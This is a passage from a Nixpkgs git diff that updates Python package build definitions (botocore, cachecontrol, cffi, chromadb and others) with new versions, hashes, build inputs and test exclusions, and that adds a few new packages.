is the Amazon Web Services (AWS) Software Development Kit (SDK) for Python, which allows Python developers to write software that makes use of diff --git a/pkgs/development/python-modules/botocore-stubs/default.nix b/pkgs/development/python-modules/botocore-stubs/default.nix index 5a7d76a0ebda2..1da32d28840a2 100644 --- a/pkgs/development/python-modules/botocore-stubs/default.nix +++ b/pkgs/development/python-modules/botocore-stubs/default.nix @@ -9,7 +9,7 @@ buildPythonPackage rec { pname = "botocore-stubs"; - version = "1.34.40"; + version = "1.34.57"; format = "pyproject"; disabled = pythonOlder "3.7"; @@ -17,7 +17,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "botocore_stubs"; inherit version; - hash = "sha256-1jIr+5qoggBv5/j8PYqTOmbFYn3PVx5l1lpSM8bBcr4="; + hash = "sha256-LesD8hhGnFp23+/rLR6fFZmRStu1+L2MwNetfXoHrjM="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/botocore/default.nix b/pkgs/development/python-modules/botocore/default.nix index ea7ea23fc40d6..89b6dbe07821f 100644 --- a/pkgs/development/python-modules/botocore/default.nix +++ b/pkgs/development/python-modules/botocore/default.nix @@ -1,33 +1,47 @@ { lib +, awscrt , buildPythonPackage , fetchPypi -, python-dateutil , jmespath -, urllib3 -, pytestCheckHook , jsonschema -, awscrt +, pytestCheckHook +, python-dateutil +, pythonOlder +, pythonRelaxDepsHook +, setuptools +, urllib3 }: buildPythonPackage rec { pname = "botocore"; - version = "1.33.6"; # N.B: if you change this, change boto3 and awscli to a matching version - format = "setuptools"; + version = "1.34.49"; # N.B: if you change this, change boto3 and awscli to a matching version + pyproject = true; + + disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-k4BWurgxgp+Q4J7NcN1rKVr9UrFIL1WC7noR2CQ9lmE="; + hash = "sha256-2JQQvGBnPq/xaZ8/H9yw46Xh96agSMDYjDzlw1SUM+w="; }; + pythonRelaxDeps = [ + "urllib3" + ]; + + nativeBuildInputs = [ + pythonRelaxDepsHook + setuptools + ]; + propagatedBuildInputs = [ - python-dateutil jmespath + python-dateutil urllib3 ]; nativeCheckInputs = [ - pytestCheckHook jsonschema + pytestCheckHook ]; disabledTestPaths = [ @@ -43,14 +57,16 @@ buildPythonPackage rec { ]; passthru.optional-dependencies = { - crt = [ awscrt ]; + crt = [ + awscrt + ]; }; meta = with lib; { + description = "A low-level interface to a growing number of Amazon Web Services"; homepage = "https://github.com/boto/botocore"; changelog = "https://github.com/boto/botocore/blob/${version}/CHANGELOG.rst"; license = licenses.asl20; - description = "A low-level interface to a growing number of Amazon Web Services"; maintainers = with maintainers; [ anthonyroussel ]; }; } diff --git a/pkgs/development/python-modules/bottleneck/default.nix b/pkgs/development/python-modules/bottleneck/default.nix index e327e135c48cd..677b4a9903622 100644 --- a/pkgs/development/python-modules/bottleneck/default.nix +++ b/pkgs/development/python-modules/bottleneck/default.nix @@ -9,7 +9,7 @@ buildPythonPackage rec { pname = "bottleneck"; - version = "1.3.7"; + version = "1.3.8"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -17,7 +17,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "Bottleneck"; inherit version; - hash = "sha256-4UZ+NzrUado0DtD/KDIU1lMcwIv9yiCDNho6pkcGgfg="; + hash = "sha256-Z4DYlpabp/U8iZW6kMh8VIvrPbQ13JDGC5oQ7Rq02Gg="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/bqplot/default.nix b/pkgs/development/python-modules/bqplot/default.nix index 4ae4aae24263b..a38d600f0f3b2 100644 --- a/pkgs/development/python-modules/bqplot/default.nix +++ b/pkgs/development/python-modules/bqplot/default.nix @@ -14,14 +14,14 @@ buildPythonPackage rec { pname = "bqplot"; - version = "0.12.42"; + version = "0.12.43"; format = "pyproject"; disabled = pythonOlder "3.6"; src = fetchPypi { inherit pname version; - hash = "sha256-mUhvdMq8/f+EHf7kG6bStHeC2Fo0/zajSiI9Q//Apyk="; + hash = "sha256-8rRp0fA99PUYc8sEBqJLVs30qDX8WqlWB3b8Y2uLNEk="; }; # upstream seems in flux for 0.13 release. they seem to want to migrate from diff --git a/pkgs/development/python-modules/brother/default.nix b/pkgs/development/python-modules/brother/default.nix index 54bb6bff1b326..c19190e815ce3 100644 --- a/pkgs/development/python-modules/brother/default.nix +++ b/pkgs/development/python-modules/brother/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "brother"; - version = "3.0.0"; + version = "4.0.0"; pyproject = true; disabled = pythonOlder "3.11"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "bieniu"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-rRzcWT9DcNTBUYxyYYC7WORBbrkgj0toCp2e8ADUN5s="; + hash = "sha256-FLaSj1LQy/eWPxU1a4WGpsdoN5Zi4EwrgCmz8AXGeLc="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/bthome-ble/default.nix b/pkgs/development/python-modules/bthome-ble/default.nix index faa8582b6b22e..90c610b492d3e 100644 --- a/pkgs/development/python-modules/bthome-ble/default.nix +++ b/pkgs/development/python-modules/bthome-ble/default.nix @@ -13,7 +13,7 @@ buildPythonPackage rec { pname = "bthome-ble"; - version = "3.5.0"; + version = "3.6.0"; format = "pyproject"; disabled = pythonOlder "3.9"; @@ -22,7 +22,7 @@ buildPythonPackage rec { owner = "Bluetooth-Devices"; repo = "bthome-ble"; rev = "refs/tags/v${version}"; - hash = "sha256-7/09RasnW4cTUbwf3N+9DxsGG9pCaqAODX2UNWvlxZg="; + hash = "sha256-CgPmBZGciK5WsDc46B+v7FmDRwRjxt7VasZg+3xSLN0="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/btrees/default.nix b/pkgs/development/python-modules/btrees/default.nix index 232a7f62f44f1..bc61188b5902f 100644 --- a/pkgs/development/python-modules/btrees/default.nix +++ b/pkgs/development/python-modules/btrees/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "btrees"; - version = "5.1"; + version = "5.2"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -19,7 +19,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "BTrees"; inherit version; - hash = "sha256-raDzHpMloEeV0dJOAn7ZsrZdpNZqz/i4eVWzUo1/w2k="; + hash = "sha256-bkoK8BpLvslan5Mbr1xUWXn0NBoTp2Yf+KSXr089g4E="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/bugsnag/default.nix b/pkgs/development/python-modules/bugsnag/default.nix index c97947a28596d..a20770673fb53 100644 --- a/pkgs/development/python-modules/bugsnag/default.nix +++ b/pkgs/development/python-modules/bugsnag/default.nix @@ -9,14 +9,14 @@ buildPythonPackage rec { pname = "bugsnag"; - version = "4.6.1"; + version = "4.6.2"; format = "setuptools"; disabled = pythonOlder "3.5"; src = fetchPypi { inherit pname version; - hash = "sha256-GzpupL+wE2JJPT92O6yZNWZowo6fXzUvkuBDtKL1Hao="; + hash = "sha256-UwlT4a0jzp6vo5ZpB/o3MKJAFHpaDJBcaQvFoctS120="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/buildcatrust/default.nix b/pkgs/development/python-modules/buildcatrust/default.nix index cb997ab801348..e56d50fb9d4da 100644 --- a/pkgs/development/python-modules/buildcatrust/default.nix +++ b/pkgs/development/python-modules/buildcatrust/default.nix @@ -7,12 +7,12 @@ buildPythonPackage rec { pname = "buildcatrust"; - version = "0.1.3"; + version = "0.2.1"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256:0s0m0fy943dakw9cbd40h46qmrhhgrcp292kppyb34m6y27sbagy"; + hash = "sha256-mjX+T5xo6cD1GxJ49Tx7zthPbGPFPYaf2qcNKVHEzJA="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/bumps/default.nix b/pkgs/development/python-modules/bumps/default.nix index 71d535141f0a4..57a739349d5cc 100644 --- a/pkgs/development/python-modules/bumps/default.nix +++ b/pkgs/development/python-modules/bumps/default.nix @@ -2,25 +2,20 @@ , buildPythonPackage , fetchPypi , pythonOlder -, six }: buildPythonPackage rec { pname = "bumps"; - version = "0.9.1"; + version = "0.9.2"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-J8NeV9FCUC5dLkosBzVrovxiJJbeuj8Xc50NGEI9Bms="; + hash = "sha256-PhoxjnkeLGL8vgEp7UubXKlS8p44TUkJ3c4SqRjKFJA="; }; - propagatedBuildInputs = [ - six - ]; - # Module has no tests doCheck = false; diff --git a/pkgs/development/python-modules/bx-python/default.nix b/pkgs/development/python-modules/bx-python/default.nix index 5fc21676d261a..c504c0cc77f33 100644 --- a/pkgs/development/python-modules/bx-python/default.nix +++ b/pkgs/development/python-modules/bx-python/default.nix @@ -11,16 +11,16 @@ buildPythonPackage rec { pname = "bx-python"; - version = "0.10.0"; + version = "0.11.0"; format = "setuptools"; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "bxlab"; repo = "bx-python"; rev = "refs/tags/v${version}"; - hash = "sha256-j2GKj2IGDBk4LBnISRx6ZW/lh5VSdQBasC0gCRj0Fiw="; + hash = "sha256-evhxh/cCZFSK6EgMu7fC9/ZrPd2S1fZz89ItGYrHQck="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/cachecontrol/default.nix b/pkgs/development/python-modules/cachecontrol/default.nix index 99a128b0496b2..c40d0b8d4ee5e 100644 --- a/pkgs/development/python-modules/cachecontrol/default.nix +++ b/pkgs/development/python-modules/cachecontrol/default.nix @@ -14,27 +14,20 @@ buildPythonPackage rec { pname = "cachecontrol"; - version = "0.13.1"; - format = "pyproject"; + version = "0.14.0"; + pyproject = true; - disabled = pythonOlder "3.6"; + disabled = pythonOlder "3.7"; __darwinAllowLocalNetworking = true; src = fetchFromGitHub { owner = "ionrock"; - repo = pname; + repo = "cachecontrol"; rev = "refs/tags/v${version}"; - hash = "sha256-4N+vk65WxOrT+IJRn+lEnbs5vlWQh9ievVHWWe3BKJ0="; + hash = "sha256-myyqiUGna+5S2GJGnwZTOfLh49NhjfHAvpUB49dQbgY="; }; - postPatch = '' - # https://github.com/ionrock/cachecontrol/issues/297 - substituteInPlace tests/test_etag.py --replace \ - "requests.adapters.HTTPResponse.from_httplib" \ - "urllib3.response.HTTPResponse.from_httplib" - ''; - nativeBuildInputs = [ flit-core ]; @@ -69,6 +62,6 @@ buildPythonPackage rec { homepage = "https://github.com/ionrock/cachecontrol"; changelog = "https://github.com/psf/cachecontrol/releases/tag/v${version}"; license = licenses.asl20; - maintainers = with maintainers; [ ]; + maintainers = with maintainers; [ dotlambda ]; }; } diff --git a/pkgs/development/python-modules/cachier/default.nix b/pkgs/development/python-modules/cachier/default.nix index 28159a16454cd..931279b5a9ac6 100644 --- a/pkgs/development/python-modules/cachier/default.nix +++ b/pkgs/development/python-modules/cachier/default.nix @@ -16,7 +16,7 @@ buildPythonPackage rec { pname = "cachier"; - version = "2.2.2"; + version = "3.0.0"; pyproject = true; disabled = pythonOlder "3.8"; @@ -24,8 +24,8 @@ buildPythonPackage rec { src = fetchFromGitHub { owner = "python-cachier"; repo = "cachier"; - rev = "v${version}"; - hash = "sha256-zUZqT4SIwZRqhRS/wHIzIYVULnp5aYcytCQd17T0D/4="; + rev = "refs/tags/v${version}"; + hash = "sha256-3rKsgcJQ9RQwosVruD7H99msB8iGtAai320okrCZCTI="; }; pythonRemoveDeps = [ "setuptools" ]; @@ -41,10 +41,10 @@ buildPythonPackage rec { ]; preCheck = '' - substituteInPlace pytest.ini \ + substituteInPlace pyproject.toml \ --replace \ - "--cov" \ - "#--cov" + '"--cov' \ + '#"--cov' ''; nativeCheckInputs = [ @@ -77,7 +77,6 @@ buildPythonPackage rec { pythonImportsCheck = [ "cachier" - "cachier.scripts" ]; meta = { diff --git a/pkgs/development/python-modules/catalogue/default.nix b/pkgs/development/python-modules/catalogue/default.nix index e1c1fed3bfddf..b417dba120f62 100644 --- a/pkgs/development/python-modules/catalogue/default.nix +++ b/pkgs/development/python-modules/catalogue/default.nix @@ -4,22 +4,27 @@ , pytestCheckHook , pythonAtLeast , pythonOlder +, setuptools , typing-extensions , zipp }: buildPythonPackage rec { pname = "catalogue"; - version = "2.0.8"; - format = "setuptools"; + version = "2.0.10"; + pyproject = true; - disabled = pythonOlder "3.6"; + disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-syXHdlkgi/tq8bDZOxoapBEuG7KaTFztgWdYpyLw44g="; + hash = "sha256-T1baqUCRPT8J1YnBkcdOWm1Rdis6njfdU7dDev1s2hU="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = lib.optionals (pythonOlder "3.8") [ typing-extensions zipp diff --git a/pkgs/development/python-modules/cbor2/default.nix b/pkgs/development/python-modules/cbor2/default.nix index 5523d4f5e0a21..2db51887e21f6 100644 --- a/pkgs/development/python-modules/cbor2/default.nix +++ b/pkgs/development/python-modules/cbor2/default.nix @@ -15,14 +15,14 @@ buildPythonPackage rec { pname = "cbor2"; - version = "5.5.1"; + version = "5.6.2"; pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-+eGS9GGp+PYILfKMA1sAbRU5BCE9yGQL7Ypy1yu8lHU="; + hash = "sha256-t1E8LeqIaJkfrX74iZiQ68+LGZubRGHDwR160670gg0="; }; postPatch = '' @@ -44,12 +44,6 @@ buildPythonPackage rec { pytestCheckHook ]; - # https://github.com/agronholm/cbor2/issues/99 - disabledTests = lib.optionals stdenv.is32bit [ - "test_huge_truncated_bytes" - "test_huge_truncated_string" - ]; - meta = with lib; { changelog = "https://github.com/agronholm/cbor2/releases/tag/${version}"; description = "Python CBOR (de)serializer with extensive tag support"; diff --git a/pkgs/development/python-modules/celery/default.nix b/pkgs/development/python-modules/celery/default.nix index fa7ebb248adb2..587c17b3eca9a 100644 --- a/pkgs/development/python-modules/celery/default.nix +++ b/pkgs/development/python-modules/celery/default.nix @@ -79,6 +79,9 @@ buildPythonPackage rec { disabledTests = [ "msgpack" "test_check_privileges_no_fchown" + # seems to only fail on higher core counts + # AssertionError: assert 3 == 0 + "test_setup_security_disabled_serializers" # fails with pytest-xdist "test_itercapture_limit" "test_stamping_headers_in_options" diff --git a/pkgs/development/python-modules/cement/default.nix b/pkgs/development/python-modules/cement/default.nix index f8dc2c6a3ae0b..1d7f2d57cc1bf 100644 --- a/pkgs/development/python-modules/cement/default.nix +++ b/pkgs/development/python-modules/cement/default.nix @@ -6,14 +6,14 @@ buildPythonPackage rec { pname = "cement"; - version = "3.0.8"; + version = "3.0.10"; format = "setuptools"; disabled = pythonOlder "3.5"; src = fetchPypi { inherit pname version; - hash = "sha256-rRGmlGZeKtKEV8VgSU9PjDaiX8WOUA1gip2R4E4dMJM="; + hash = "sha256-c9EBXr+bjfE+a8mH7fDUvj8ci0Q4kh7qjWbLtVBK7hU="; }; # Disable test tests since they depend on a memcached server running on diff --git a/pkgs/development/python-modules/cepa/default.nix b/pkgs/development/python-modules/cepa/default.nix index ef7850caf211a..5e28aca3c6424 100644 --- a/pkgs/development/python-modules/cepa/default.nix +++ b/pkgs/development/python-modules/cepa/default.nix @@ -42,6 +42,6 @@ buildPythonPackage rec { description = "Controller library that allows applications to interact with Tor"; homepage = "https://github.com/onionshare/cepa"; license = licenses.lgpl3Only; - maintainers = with maintainers; [ lourkeur ]; + maintainers = with maintainers; [ bbjubjub ]; }; } diff --git a/pkgs/development/python-modules/certauth/default.nix b/pkgs/development/python-modules/certauth/default.nix index 04a4637bafc98..c69eccf10cd61 100644 --- a/pkgs/development/python-modules/certauth/default.nix +++ b/pkgs/development/python-modules/certauth/default.nix @@ -1,6 +1,7 @@ { lib , buildPythonPackage , fetchFromGitHub +, setuptools , pyopenssl , tldextract , pytestCheckHook @@ -10,7 +11,7 @@ buildPythonPackage rec { pname = "certauth"; version = "1.3.0"; - format = "setuptools"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -24,9 +25,13 @@ buildPythonPackage rec { postPatch = '' substituteInPlace setup.py \ - --replace "--cov certauth " "" + --replace-fail "--cov certauth " "" ''; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ pyopenssl tldextract @@ -41,6 +46,9 @@ buildPythonPackage rec { ]; disabledTests = [ + # https://github.com/ikreymer/certauth/issues/23 + "test_ca_cert_in_mem" + "test_custom_not_before_not_after" # Tests want to download Public Suffix List "test_file_wildcard" "test_file_wildcard_subdomains" diff --git a/pkgs/development/python-modules/certipy-ad/default.nix b/pkgs/development/python-modules/certipy-ad/default.nix index bccf5c066799d..dd3b161caf5d0 100644 --- a/pkgs/development/python-modules/certipy-ad/default.nix +++ b/pkgs/development/python-modules/certipy-ad/default.nix @@ -14,6 +14,7 @@ , requests , requests-ntlm , unicrypto +, setuptools }: buildPythonPackage rec { @@ -49,6 +50,7 @@ buildPythonPackage rec { requests requests-ntlm unicrypto + setuptools ]; # Project has no tests diff --git a/pkgs/development/python-modules/cf-xarray/default.nix b/pkgs/development/python-modules/cf-xarray/default.nix index fcbc6f6f20d5b..9dd92914cb63a 100644 --- a/pkgs/development/python-modules/cf-xarray/default.nix +++ b/pkgs/development/python-modules/cf-xarray/default.nix @@ -19,7 +19,7 @@ buildPythonPackage rec { pname = "cf-xarray"; - version = "0.8.8"; + version = "0.9.0"; pyproject = true; disabled = pythonOlder "3.9"; @@ -28,7 +28,7 @@ buildPythonPackage rec { owner = "xarray-contrib"; repo = "cf-xarray"; rev = "refs/tags/v${version}"; - hash = "sha256-memz0VDhxnSHOFaEhFYy/sqRifcu905EGovGduS0YBQ="; + hash = "sha256-MlI5Wx0GOcXPRb/p0sPyAtbf84g3LQKVxCZLBfEIGLo="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/cffi/darwin-use-libffi-closures.diff b/pkgs/development/python-modules/cffi/darwin-use-libffi-closures.diff index fdbec4f6fe4ad..4ef51274aa289 100644 --- a/pkgs/development/python-modules/cffi/darwin-use-libffi-closures.diff +++ b/pkgs/development/python-modules/cffi/darwin-use-libffi-closures.diff @@ -2,15 +2,22 @@ diff --git a/src/c/_cffi_backend.c b/src/c/_cffi_backend.c index 537271f..9c3bf94 100644 --- a/src/c/_cffi_backend.c +++ b/src/c/_cffi_backend.c -@@ -103,7 +103,7 @@ +@@ -103,11 +103,11 @@ # define CFFI_CHECK_FFI_PREP_CIF_VAR 0 # define CFFI_CHECK_FFI_PREP_CIF_VAR_MAYBE 0 -#elif defined(__APPLE__) && defined(FFI_AVAILABLE_APPLE) +#elif defined(__APPLE__) - # define CFFI_CHECK_FFI_CLOSURE_ALLOC __builtin_available(macos 10.15, ios 13, watchos 6, tvos 13, *) +-# define CFFI_CHECK_FFI_CLOSURE_ALLOC __builtin_available(macos 10.15, ios 13, watchos 6, tvos 13, *) ++# define CFFI_CHECK_FFI_CLOSURE_ALLOC 1 # define CFFI_CHECK_FFI_CLOSURE_ALLOC_MAYBE 1 +-# define CFFI_CHECK_FFI_PREP_CLOSURE_LOC __builtin_available(macos 10.15, ios 13, watchos 6, tvos 13, *) ++# define CFFI_CHECK_FFI_PREP_CLOSURE_LOC 1 + # define CFFI_CHECK_FFI_PREP_CLOSURE_LOC_MAYBE 1 +-# define CFFI_CHECK_FFI_PREP_CIF_VAR __builtin_available(macos 10.15, ios 13, watchos 6, tvos 13, *) ++# define CFFI_CHECK_FFI_PREP_CIF_VAR 1 + # define CFFI_CHECK_FFI_PREP_CIF_VAR_MAYBE 1 @@ -6422,7 +6422,7 @@ static PyObject *b_callback(PyObject *self, PyObject *args) else #endif diff --git a/pkgs/development/python-modules/cfn-lint/default.nix b/pkgs/development/python-modules/cfn-lint/default.nix index 98f8208335e9a..c98715f9ab027 100644 --- a/pkgs/development/python-modules/cfn-lint/default.nix +++ b/pkgs/development/python-modules/cfn-lint/default.nix @@ -20,16 +20,16 @@ buildPythonPackage rec { pname = "cfn-lint"; - version = "0.83.3"; + version = "0.84.0"; format = "setuptools"; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "aws-cloudformation"; repo = "cfn-lint"; rev = "refs/tags/v${version}"; - hash = "sha256-0NHD8P+lKsrsEX/ypUS5dIwHOLudQcqkH8zG5RxANxE="; + hash = "sha256-N1bMJdPgl3Ohe4MhmFB5KH2FK4Vp2jB0RUscLFDvi2k="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/chainstream/default.nix b/pkgs/development/python-modules/chainstream/default.nix new file mode 100644 index 0000000000000..00c10a22e9eeb --- /dev/null +++ b/pkgs/development/python-modules/chainstream/default.nix @@ -0,0 +1,26 @@ +{ lib, fetchPypi, python3Packages }: + +python3Packages.buildPythonPackage rec { + pname = "chainstream"; + version = "1.0.1"; + + pyproject = true; + + nativeBuildInputs = [ python3Packages.setuptools ]; + + src = fetchPypi { + inherit pname version; + hash = "sha256-302P1BixEmkODm+qTLZwaWLktrlf9cEziQ/TIVfI07c="; + }; + + pythonImportsCheck = [ + "chainstream" + ]; + + meta = with lib; { + description = "Chain I/O streams together into a single stream"; + homepage = "https://github.com/rrthomas/chainstream"; + license = licenses.cc-by-sa-40; + maintainers = with maintainers; [ cbley ]; + }; +} diff --git a/pkgs/development/python-modules/chart-studio/default.nix b/pkgs/development/python-modules/chart-studio/default.nix index fc563153a49ca..8987a9695d503 100644 --- a/pkgs/development/python-modules/chart-studio/default.nix +++ b/pkgs/development/python-modules/chart-studio/default.nix @@ -13,7 +13,7 @@ buildPythonPackage rec { pname = "chart-studio"; - version = "5.18.0"; + version = "5.19.0"; pyproject = true; # chart-studio was split from plotly @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "plotly"; repo = "plotly.py"; rev = "refs/tags/v${version}"; - hash = "sha256-hY8R4UjcTI5RBaaRU/oR63taKEgYRI3+oOxNuDWzg20="; + hash = "sha256-Xi1Sf07TLPv6TsmsR2WDfY9NYdglpwiu22RjMiktTdw="; }; sourceRoot = "${src.name}/packages/python/chart-studio"; diff --git a/pkgs/development/python-modules/cheetah3/default.nix b/pkgs/development/python-modules/cheetah3/default.nix index b85870572a4c3..bb1a3da46cf56 100644 --- a/pkgs/development/python-modules/cheetah3/default.nix +++ b/pkgs/development/python-modules/cheetah3/default.nix @@ -6,7 +6,7 @@ buildPythonPackage rec { pname = "cheetah3"; - version = "3.3.3"; + version = "3.3.3.post1"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -15,7 +15,7 @@ buildPythonPackage rec { owner = "CheetahTemplate3"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-7L3SBMgNOOLAFvQST8I0gFlrya/6Lwp/umzolfJx3t4="; + hash = "sha256-0NVKie/6Fp8T1O1fvrVorycybLrEXMY1yXZBDyxjpbE="; }; doCheck = false; # Circular dependency diff --git a/pkgs/development/python-modules/chispa/default.nix b/pkgs/development/python-modules/chispa/default.nix index e72c3990e367e..37e804c718942 100644 --- a/pkgs/development/python-modules/chispa/default.nix +++ b/pkgs/development/python-modules/chispa/default.nix @@ -8,7 +8,7 @@ buildPythonPackage rec { pname = "chispa"; - version = "0.9.4"; + version = "0.10.0"; format = "pyproject"; disabled = pythonOlder "3.7"; @@ -17,7 +17,7 @@ buildPythonPackage rec { owner = "MrPowers"; repo = "chispa"; rev = "refs/tags/v${version}"; - hash = "sha256-VF7k0u7QpoG3PXvU5M7jrM9pht6xeRUpYH9znMdLOxk="; + hash = "sha256-r3/Uae/Bu/+ZpWt19jetfIRpew1hBB24WWQRJIcYqFs="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/chroma-hnswlib/default.nix b/pkgs/development/python-modules/chroma-hnswlib/default.nix new file mode 100644 index 0000000000000..31f884e53ba86 --- /dev/null +++ b/pkgs/development/python-modules/chroma-hnswlib/default.nix @@ -0,0 +1,47 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, numpy +, pybind11 +, setuptools +, wheel +, pythonOlder +, pytestCheckHook +}: + +buildPythonPackage rec { + pname = "chroma-hnswlib"; + version = "0.7.3"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "chroma-core"; + repo = "hnswlib"; + rev = "refs/tags/${version}"; + hash = "sha256-c4FvymqZy8AZKbh6Y8xZRjKAqYcUyZABRGc1u7vwlsk="; + }; + + nativeBuildInputs = [ + numpy + pybind11 + setuptools + wheel + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + pythonImportsCheck = [ + "hnswlib" + ]; + + meta = with lib; { + description = "Header-only C++/python library for fast approximate nearest neighbors"; + homepage = "https://github.com/chroma-core/hnswlib"; + license = licenses.asl20; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/chromadb/default.nix b/pkgs/development/python-modules/chromadb/default.nix new file mode 100644 index 0000000000000..0cc5484332df7 --- /dev/null +++ b/pkgs/development/python-modules/chromadb/default.nix @@ -0,0 +1,160 @@ +{ lib +, stdenv +, bcrypt +, build +, buildPythonPackage +, cargo +, chroma-hnswlib +, darwin +, fastapi +, fetchFromGitHub +, grpcio +, hypothesis +, importlib-resources +, kubernetes +, mmh3 +, numpy +, onnxruntime +, openssl +, opentelemetry-api +, opentelemetry-exporter-otlp-proto-grpc +, opentelemetry-instrumentation-fastapi +, opentelemetry-sdk +, orjson +, overrides +, pkg-config +, posthog +, protobuf +, pulsar-client +, pydantic +, pypika +, pytest-asyncio +, pytestCheckHook +, pythonOlder +, pythonRelaxDepsHook +, pyyaml +, requests +, rustc +, rustPlatform +, setuptools +, setuptools-scm +, tenacity +, tokenizers +, tqdm +, typer +, typing-extensions +, uvicorn +, zstd +}: + +buildPythonPackage rec { + pname = "chromadb"; + version = "0.4.23"; + pyproject = true; + + disabled = pythonOlder "3.9"; + + src = fetchFromGitHub { + owner = "chroma-core"; + repo = "chroma"; + rev = "refs/tags/${version}"; + hash = "sha256-5gI+FE2jx4G/qahATLcYsONfPZZkk1RFFYK5nrpE0Ug="; + }; + + cargoDeps = rustPlatform.fetchCargoTarball { + inherit src; + name = "${pname}-${version}"; + hash = "sha256-glItbT8gg5SAySnfx3A9TaPyFmd1R46JpAB1JnjBE5M="; + }; + + pythonRelaxDeps = [ + "orjson" + ]; + + nativeBuildInputs = [ + cargo + pkg-config + protobuf + pythonRelaxDepsHook + rustc + rustPlatform.cargoSetupHook + setuptools + setuptools-scm + ]; + + buildInputs = [ + openssl + zstd + ] ++ lib.optionals stdenv.isDarwin [ + darwin.apple_sdk.frameworks.Security + ]; + + propagatedBuildInputs = [ + bcrypt + build + chroma-hnswlib + fastapi + grpcio + importlib-resources + kubernetes + mmh3 + numpy + onnxruntime + opentelemetry-api + opentelemetry-exporter-otlp-proto-grpc + opentelemetry-instrumentation-fastapi + opentelemetry-sdk + orjson + overrides + posthog + pulsar-client + pydantic + pypika + pyyaml + requests + tenacity + tokenizers + tqdm + typer + typing-extensions + uvicorn + ]; + + nativeCheckInputs = [ + hypothesis + pytest-asyncio + pytestCheckHook + ]; + + pythonImportsCheck = [ + "chromadb" + ]; + + env = { + ZSTD_SYS_USE_PKG_CONFIG = true; + }; + + pytestFlagsArray = [ "-x" ]; + + preCheck = '' + export HOME=$(mktemp -d) + ''; + + disabledTestPaths = [ + # Tests require network access + "chromadb/test/property/test_cross_version_persist.py" + "chromadb/test/auth/test_simple_rbac_authz.py" + "chromadb/test/ef/test_default_ef.py" + "chromadb/test/test_api.py" + "chromadb/test/property/" + "chromadb/test/stress/" + ]; + + meta = with lib; { + description = "The AI-native open-source embedding database"; + homepage = "https://github.com/chroma-core/chroma"; + changelog = "https://github.com/chroma-core/chroma/releases/tag/${version}"; + license = licenses.asl20; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/clarabel/default.nix b/pkgs/development/python-modules/clarabel/default.nix index 46cdc7c576114..9d196200f8421 100644 --- a/pkgs/development/python-modules/clarabel/default.nix +++ b/pkgs/development/python-modules/clarabel/default.nix @@ -1,33 +1,30 @@ { lib , stdenv , buildPythonPackage -, fetchFromGitHub +, fetchPypi , rustPlatform , libiconv , numpy , scipy +, nix-update-script }: buildPythonPackage rec { pname = "clarabel"; - version = "0.6.0.post1"; + version = "0.7.1"; pyproject = true; - src = fetchFromGitHub { - owner = "oxfordcontrol"; - repo = "Clarabel.rs"; - rev = "refs/tags/v${version}"; - hash = "sha256-5Mw+3WRMuz3BxLWRdsnXHjetsNrM3EZRZld8lVTNKgo="; + src = fetchPypi { + inherit pname version; + hash = "sha256-owqxNfR1xbx4Mp/X31dSkRVeYFW8rwISTrYQuK0XY5Y="; }; - cargoDeps = rustPlatform.importCargoLock { - lockFile = ./Cargo.lock; + cargoDeps = rustPlatform.fetchCargoTarball { + inherit src; + name = "${pname}-${version}"; + hash = "sha256-Tg9K66WIIAZyua8QlKrlUnpRJRmuxe7ihIr2Vqg79NQ="; }; - postPatch = '' - ln -s ${./Cargo.lock} ./Cargo.lock - ''; - nativeBuildInputs = with rustPlatform; [ cargoSetupHook maturinBuildHook @@ -52,6 +49,8 @@ buildPythonPackage rec { runHook postCheck ''; + passthru.updateScript = nix-update-script { }; + meta = { changelog = "https://github.com/oxfordcontrol/Clarabel.rs/releases/tag/v${version}/CHANGELOG.md"; description = "Conic Interior Point Solver"; diff --git a/pkgs/development/python-modules/clarifai-grpc/default.nix b/pkgs/development/python-modules/clarifai-grpc/default.nix index e9e62c31912b6..9b11a77479065 100644 --- a/pkgs/development/python-modules/clarifai-grpc/default.nix +++ b/pkgs/development/python-modules/clarifai-grpc/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "clarifai-grpc"; - version = "10.1.3"; 